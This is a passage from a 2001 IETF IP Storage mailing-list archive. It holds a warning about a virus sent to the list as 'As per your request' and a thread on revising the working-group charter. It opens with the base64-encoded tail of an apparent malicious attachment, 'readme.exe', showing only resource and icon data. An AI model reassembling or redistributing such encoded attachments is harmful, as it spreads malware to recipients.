AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAbPyAOwAAAAAAAAMAAwAAAFgAAIAOAAAAQAAAgBAAAAAoAACA AAAAAGz8gDsAAAAAAAABAAEAAACAAACAAAAAAGz8gDsAAAAAAAABAAEAAACYAACAAAAAAGz8gDsA AAAAAAADADF1AADgAACAMnUAAMgAAIAzdQAAsAAAgAAAAABs/IA7AAAAAAAAAQAJBAAA+AAAAAAA AABs/IA7AAAAAAAAAQAAAAAACAEAAAAAAABs/IA7AAAAAAAAAQAAAAAAGAEAAAAAAABs/IA7AAAA AAAAAQAAAAAAKAEAAAAAAABs/IA7AAAAAAAAAQAAAAAAOAEAAFBRAAAIAgAAsAQAAAAAAABYUwAA MAAAALAEAAAAAAAAiFMAACgBAACwBAAAAAAAALBUAADoAgAAsAQAAAAAAACYVwAAMAEAALAEAAAA AAAAAAAAAAAAAAAIAjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAA AQAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAEQAAAAAAFYAYQBy AEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAJBLAE aAEAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAARAEAAAEAMAA0ADAAOQAwADQAQgAw AAAAMAAQAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABWAG8AZABhAHQAZQBsAAAAMAAOAAEA UAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAAByAGUAYQBkAG0AZQAAAAAALAAKAAEARgBpAGwAZQBW AGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAwAAAAAAAwAAoAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMA aQBvAG4AAAAxAC4AMAAwAAAAAAAwAA4AAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHIAZQBh AGQAbQBlAAAAAABAABYAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAcgBlAGEA ZABtAGUALgBlAHgAZQAAAAAAAAABAAMAICACAAEAAQAwAQAAMXUgIBAAAQAEAOgCAAAydRAQEAAB AAQAKAEAADN1KAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAA AIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACPB3AAAACP//8HdwAA/////wcAAAD/////AAAAAP ////8AAAAA///4AAAAAAD4AADuAAAAAADu7gAAAAAA7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAP//AAD//wAA/48AAPgDAADAAQAAwAcAAMAPAADADwAAwA8AAMAPAADADwAA wH8AAMf/AAD//wAA//8AAP//AAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A /wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AI//B3AAAAAAAAAAAAAAj////wd3cAAAAAAAAAj///////8Hd3dwAAAAAP//////////B3dwAAAA AAD//////////wdwAAAAAAAA//////////8AAAAAAAAAAP//////////AAAAAAAAAAD///////// /wAAAAAAAAAA//////////8AAAAAAAAAAP//////////AAAAAAAAAAD//////////wAAAAAAAAAA //////////8AAAAAAAAAAP///////4iIAAAAAAAAAAD/////iIgAAAAAAAAAAAAA//+IiAAA7u4A AAAAAAAAAIiIAADu7gAAAAAAAAAAAAAAAO7uAAAAAAAAAAAAAAAA7u4AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA/////////////////////////////8H///wAf/+AAB/4AAAH+AAAH/gAAH/4AAH/ +AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gAP//4A///+D////v///// //////////////////////////////8oAAAAIAAAAEAAAAABAAEAAAAAAAABAAAAAAAAAAAAAAAA AAAAAAAAAAAAAP///wD/////////////////////////////wf///Dx//8P8H/g//Af7//wf+//8 f/v//f/7//3/+//9//v//f/7//3/+//9//v//f/7//3/+//B//v8Pf/7w8H/+Dw///vD///4P/// +//////////////////////////////////////////////////////////////////B///8AH// wAAf+AAAB/gAAB/4AAB/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gA Af/4AD//+AP///g////7////////////////////////////////////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA ------_=_NextPart_000_01C13547.38A4F750-- From owner-ips@ece.cmu.edu Tue Sep 4 12:24:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA20477 for ; Tue, 4 Sep 2001 12:24:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84F07X15233 for ips-outgoing; Tue, 4 Sep 2001 11:00:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls05.mediaone.net (chmls05.mediaone.net [24.147.1.143]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84F01P15227 for ; Tue, 4 Sep 2001 11:00:05 -0400 (EDT) Received: from breinhold ([140.186.40.85]) by chmls05.mediaone.net (8.11.1/8.11.1) with SMTP id f84ExsZ21225 for ; Tue, 4 Sep 2001 10:59:54 -0400 (EDT) From: "Barry Reinhold" To: "ISCSI" Subject: Virus - "As per your request" Date: Tue, 4 Sep 2001 11:00:54 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit It appears as if a virus is being circulated on the iSCSI reflector under the "As per your request" subject line. Barry Reinhold Principal Architect Trebia Networks barry.reinhold@trebia.com 603-868-5144/603-659-0885/978-929-0830 x138 From owner-ips@ece.cmu.edu Tue Sep 4 12:25:18 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA20495 for ; Tue, 4 Sep 2001 12:25:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84EaYM13668 for ips-outgoing; Tue, 4 Sep 2001 10:36:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84EaWP13664 for ; Tue, 4 Sep 2001 10:36:32 -0400 (EDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id KAA07318; Tue, 4 Sep 2001 10:36:09 -0400 (EDT) Message-ID: <3B94E51B.3457B34B@cisco.com> Date: Tue, 04 Sep 2001 09:28:43 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Keith McCloghrie CC: Black_David@emc.com, ips@ece.cmu.edu Subject: Re: IPS Draft charter revision References: <200108312012.NAA23432@cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit David- I'd like to see the iSCSI MIB last called separately, since it will be ready as soon as the iSCSI protocol is ready, and it has no dependencies on the other MIBs. Thanks, Mark Keith McCloghrie wrote: > > As you say, the iSCSI MIB would seem to be the only one which is likely > to be done early next year. So, maybe it's the only one worth > separating out. > > Keith. > > > I can do that, with the caveat that each MIB needs to be > > Last Called after its associated protocol. I'm guessing > > that the iSCSI MIB will be done well before the others. > > Are there any other MIBs that seem likely to be ready > > around the end of the year? In practice, there's no > > problem with completing things before the milestone date on > > the charter. > > > > Thanks, > > --David > > > > > -----Original Message----- > > > From: Keith McCloghrie [mailto:kzm@cisco.com] > > > Sent: Friday, August 31, 2001 2:13 PM > > > To: Black_David@emc.com > > > Cc: ips@ece.cmu.edu > > > Subject: Re: IPS Draft charter revision > > > > > > > > > David, > > > > > > The schedule below lumps all the MIBs together in the Milestones. > > > However, the various MIBs are at different stages of development. > > > I would expect that the first MIB to be completed does not need to > > > wait for the last. Do you want to reflect this in the schedule ? > > > > > > Keith. > > > > > > > Here's a draft of the revised charter for the IP Storage > > > > WG. Aside from the schedule update, the following substantial > > > > changes have been made: > > > > > > > > - Security requirements reflect the current "MUST implement" > > > > status of confidentiality. > > > > - Text on bridges and gateways to existing protocols has been > > > > reworded to avoid any implication that proxy support > > > > is required. > > > > - We have to finish some of what we're doing before undertaking > > > > any new protocol encapsulation work. > > > > > > > > There have also been some minor editorial cleanups. > > > > > > > > Comments to the list, please. This'll go to the Area Directors > > > > for approval and posting on the IETF web site in about a week. > > > > > > > > Thanks, > > > > --David > > > > > > > > IP Storage (ips) > > > > > > > > Chair(s): > > > > Elizabeth Rodriguez > > > > David Black > > > > > > > > Transport Area Director(s): > > > > Scott Bradner > > > > Allison Mankin > > > > > > > > Transport Area Advisor: > > > > Allison Mankin > > > > > > > > Technical Advisor(s): > > > > Keith McCloghrie > > > > > > > > Mailing Lists: > > > > General Discussion:ips@ece.cmu.edu > > > > To Subscribe: ips-request@ece.cmu.edu > > > > In Body: subscribe ips > > > > Archive: http://www.pdl.cmu.edu/mailinglists/ips/mail/maillist.html > > > > > > > > Description of Working Group: > > > > There is significant interest in using IP-based networks to > > > transport block > > > > storage > > > > traffic. This group will pursue the pragmatic approach of > > > encapsulating > > > > existing > > > > protocols, such as SCSI and Fibre Channel, in an IP-based > > > transport or > > > > transports. > > > > The group will focus on the transport or transports and > > > related issues > > > > (e.g., > > > > security, naming, discovery, and configuration), as opposed > > > to modifying > > > > existing protocols. Standards for the protocols to be > > > encapsulated are > > > > controlled > > > > by other standards organizations (e.g., T10 [SCSI] and T11 > > > [Fibre Channel]). > > > > The > > > > WG cannot assume that any changes it desires will be made in these > > > > standards, and > > > > hence will pursue approaches that do not depend on such > > > changes unless they > > > > are > > > > unavoidable. In that case the WG will create a document to > > > be forwarded to > > > > the > > > > standards group responsible for the technology explaining > > > the issue and > > > > requesting > > > > the desired changes be considered. The WG will endeavor to > > > ensure high > > > > quality > > > > communications with these standards organizations. The WG > > > will consider > > > > whether > > > > a layered architecture providing common transport, > > > security, and/or other > > > > functionality for its encapsulations is the best technical approach. > > > > > > > > The protocols to be encapsulated expect a reliable > > > transport, in that > > > > failure to > > > > deliver data is considered to be a rare event for which > > > time-consuming > > > > recovery > > > > at higher levels is acceptable. This has implications for > > > both the choice of > > > > transport protocols and design of the encapsulation(s). The WG's > > > > encapsulations > > > > may require quality of service assurances (e.g., bounded > > > latency) to operate > > > > successfully; the WG will consider what assurances are > > > appropriate and how > > > > to > > > > provide them in shared traffic environments (e.g., the > > > Internet) based on > > > > existing IETF QoS mechanisms such as Differentiated Services. > > > > > > > > Use of IP-based transports raises issues that do not occur > > > in the existing > > > > transports for the protocols to be encapsulated. The WG's protocol > > > > encapsulations will incorporate the following: > > > > > > > > - Congestion control suitable for shared traffic network > > > environments such > > > > as the > > > > Internet. > > > > - Security including authentication, keyed cryptographic > > > data integrity > > > > and confidentiality, sufficient to defend against > > > threats up to and > > > > including > > > > those that can be expected on a public network. > > > Implementation of > > > > basic > > > > security functionality will be required, although usage may be > > > > optional. > > > > > > > > The WG will also address the following issues related to > > > its protocol > > > > encapsulations: > > > > > > > > - Naming and discovery mechanisms for the encapsulated > > > protocols on IP-based > > > > networks, including both discovery of resources (e.g., > > > storage) for > > > > access by the discovering entity, and discovery for management. > > > > - Management, including appropriate MIB definition(s). > > > > > > > > These may be addressed is documents separate from the main protocol > > > > specifications. > > > > > > > > The WG specifications will allow the implementation of > > > bridges and gateways > > > > that connect to existing implementations of the > > > encapsulated protocols. > > > > The WG will preserve the approaches to discovery, > > > multi-pathing, booting, > > > > and > > > > similar issues taken by the protocols it encapsulates to the extent > > > > feasible. > > > > > > > > It may be necessary for traffic utilizing the WG's > > > encapsulations to pass > > > > through > > > > Network Address Translators (NATs) and/or firewalls in some > > > circumstances; > > > > the > > > > WG will endeavor to design NAT- and firewall-friendly > > > protocols that do not > > > > dynamically select target ports or require Application > > > Level Gateways. > > > > > > > > Effective implementations of some IP transports for the encapsulated > > > > protocols > > > > are likely to require hardware acceleration; the WG will > > > consider issues > > > > concerning > > > > the effective implementation of its protocols in hardware. > > > > > > > > The standard internet checksum is weaker than the checksums > > > use by other > > > > implementations of the protocols 